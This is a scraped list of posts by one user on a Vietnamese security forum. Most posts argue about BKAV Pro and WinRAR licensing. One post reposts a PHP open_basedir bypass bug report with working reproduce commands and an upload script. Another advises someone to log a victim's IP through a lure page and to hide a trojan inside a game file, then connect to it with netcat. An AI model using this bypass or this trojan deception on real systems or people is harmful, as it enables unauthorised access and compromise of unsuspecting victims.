<![CDATA[Messages posted by "ly0kha"]]> /hvaonline/posts/listByUser/151233.html JForum - http://www.jforum.net Tin tưởng bao nhiêu % vào http://www.beyondsecurity.com ? /hvaonline/posts/preList/45071/278375.html#278375 /hvaonline/posts/preList/45071/278375.html#278375 GMT Re: BKAV Pro có vi phạm bản quyền ?

NPham wrote:
Theo như lời anh Quảng nói trên Vietnamnet BKIS đã mua bản quyền của WinRAR ( copyright ) chứ không phải mua giấy phép sử dụng ( lisence ) của WinRAR. 2 cái này hoàn toàn khác nhau, và cái giá để mua lại copyright lớn hơn rất nhiều so với giá mua lisence. như vậy đây sẽ là 1 thương vụ lớn của RARLab và chắc chắn rằng nhân viên của RARLab sẽ nhớ ngay tới cái tên BKIS, Vietnam khi có ai nhắc đến, nhưng qua nhưng email của các bạn trên diễn đàn gửi cho RARLab tôi thấy họ còn không biết BKIS là ai cho tới khi các bạn nhắc tới và họ nói sẽ *check it* Còn riêng tôi cũng đã gửi 1 email tới RARLab và cũng nhận được 1 reply nhưng hơi khác so với câu trả lời của RARLab với các bạn ở trên. Vấn đề kỹ thuật bây giờ đã quá sáng tỏ chúng ta có thể tạm gác lại chưa bàn tiếp, vấn đề bây giờ ta sẽ chờ xem động thái của RARLab, họ sẽ trả lời với mọi người rằng BKIS có được phép nhúng rar.exe và BKAV Pro hay không. Nên việc tranh luận tiếp theo tôi cảm thấy là thừa, các bạn cố gắng chờ đợi tránh lạm bàn sang hướng khác gây loãng chủ đề P/S : Tôi tin rằng ở đâu có trong các máy tính khách hàng của BKIS chắn chắn sẽ có những bản BKAV Pro có nhúng rar.exe trước "cái giữa năm 2007" của anh Quảng. 
Không loại trừ khả năng này.Ngay cả thời điểm hiện nay(việt nam gia nhập WTO)việc vi phạm của BKIS đã được chứng minh bằng kỹ thuật và pháp lý một cách rõ ràng thì khả năng vi phạm trước giữa năm 2007 còn lớn hơn.Nếu muốn làm cho ra nhẽ chỉ cần open một topic vận động mọi người cung cấp các bản BKAV trước "giữa năm 2007".tin rằng kết quả sẽ nhanh chóng có.]]> /hvaonline/posts/preList/22826/137625.html#137625 /hvaonline/posts/preList/22826/137625.html#137625 GMT Re: BKAV Pro có vi phạm bản quyền ?

nbthanh wrote:
@chinhtruc: http://img53.imageshack.us/my.php?image=bkavdp7.jpg Tự xem hướng dẫn rồi tự giải câu đố của bạn nhé! Bạn giải không được thì đi chửi BKIS ấy, đừng kiếm tôi!  
Đúng như nbthanh nói.Trên trang http://www.bkav.com.vn/home/MuatheBkav2.aspx?d=9 không hề nói đến việc phải có kết nối internet để kich hoạt BKAV Pro.xin lỗi mình không xài BKAV nên không check được,nhưng chả lẽ với số lượng hơn 10 triệu bản bán ra mà bác Quảng nói.chẳng lẽ tất cả đều có kết nối internet! :-O ]]> /hvaonline/posts/preList/22826/137495.html#137495 /hvaonline/posts/preList/22826/137495.html#137495 GMT Re: Lỗi Windows Explorer - Oái oăm và rất thú vị Tớ củng chả thấy gì,sao ấy nhỉ?:(]]> /hvaonline/posts/preList/1085/117924.html#117924 /hvaonline/posts/preList/1085/117924.html#117924 GMT local bypass user via symlink http://bugs.php.net/bug.php?id=40931
Bug #40931 open_basedir bypass via symlink and move_uploaded_file() Description: ------------ User can bypass open_basedir restriction by move_uploaded_file() if target file path is symlink to any directory. Reproduce code: --------------- user1 will upload file to user2's /home/user2/public_html folder. We have in /etc/passwd: user1:32001:32001::/home/user1:/bin/bash user2:32002:32002::/home/user2:/bin/bash Target folder allows to write for anybody: # ls -lA /home/user2 drwxrwxrwx 2 user2 user2 4096 Mar 27 17:31 public_html/ Apache have mod_php intalled. Apache config for user1: <VirtualHost xxx.xxx.xxx.xxx> ServerName user1.xxxxxxx.com DocumentRoot /home/user1/public_html User user1 php_admin_value open_basedir "/home/user1" </VirtualHost> User user1 can do something like: $ cd /home/user1/public_html/ $ ln -s /home/user2/public_html user2_public_html $ echo '<html><body> <? if ( isset($_FILES["userfile"]) ) { echo "Upload "; if (move_uploaded_file ($_FILES["userfile"]["tmp_name"],"/home/user1/public_html/user2_public_h tml/file.ext")) echo "ok"; else echo "failed"; } ?> <form name="uplform" method="post" action="<?=$PHP_SELF?>" enctype="multipart/form-data"> <input type="file" name="userfile"> <input type="submit"> </body></html>' > upload.php Expected result: ---------------- If we access http://user1.xxxxxxx.com/upload.php after file upload expected message "Upload failed" and no file /home/user2/public_html/file.ext in target folder. Actual result: -------------- If we access http://user1.xxxxxxx.com/upload.php after file upload we got message "Upload ok" and file /home/user2/public_html/file.ext well exist in target folder.  
Các bác vào thảo luân với.hoặc nếu các bác có kinh nghiệm nào local áp dụng symlink thì vui lòng chia sẻ chút ít.]]> /hvaonline/posts/preList/19563/116495.html#116495 /hvaonline/posts/preList/19563/116495.html#116495 GMT Re: Tấn công một địa chỉ không phải là domain - được hay không?

okgame_root wrote:
Vậy là mình phải bảo nó "mày mở port 3306 và vào trang check ip , đưa IP của mày + user và pass đây cho tao phá" , đúng hok ta ;))........ chậc ....... =.=! , hok biết phải port 3306 ko nhỉ .... Em cũng thấy thắc mắc , nếu mình muốn tấn công vào modem của victim thì việc dụ nó để lấy IP nó trong thời gian đó ko khó , nhưng ví dụ như mình mún làm bốc khói modem victim thì phải fang vào port nào anh chị nhỉ :-?? À mà nếu mình tấn công vào thì modem nó có cháy ko ta , hay modem mình cháy trước , ý em nói là ddos đó . p/s: Em chỉ muốn biết thêm thôi chứ ko có ý phá hoại ai đâu , đừng nhìn em như thế :-S  
Nghe giống như trong phim Salomon quá vậy? Muốn check ip của victim cũng không có gì khó,tạo một trang php chưa script ghi log IP rồi gửi cho victim.đợi victim open là mình có thể biết được IP. Biết được IP thì có thể dùng các tool scan để quét các cổng mở,rồi...làm gì đó chả biết nữa! Nhưng ly0kha thấy tấn công theo phương pháp lừa đảo là tốt nhất.Kiểu như bạn ghép một file trojan(server) vào một file game rồi dụ victim chạy trên máy của hắn.Trong lúc hắn đang mải mê chơi game thì ta(client)kết nối vào máy của hắn.Tớ đã từng thấy các Hacker Thổ Nhỹ Kỳ dùng netcat để làm điều này!]]> /hvaonline/posts/preList/19119/115816.html#115816 /hvaonline/posts/preList/19119/115816.html#115816 GMT Re: Làm lại từ đầu /hvaonline/posts/preList/14793/97613.html#97613 /hvaonline/posts/preList/14793/97613.html#97613 GMT Re: trang FBI.gov.vn có lỗi rất thú vị !!! /hvaonline/posts/preList/7239/92002.html#92002 /hvaonline/posts/preList/7239/92002.html#92002 GMT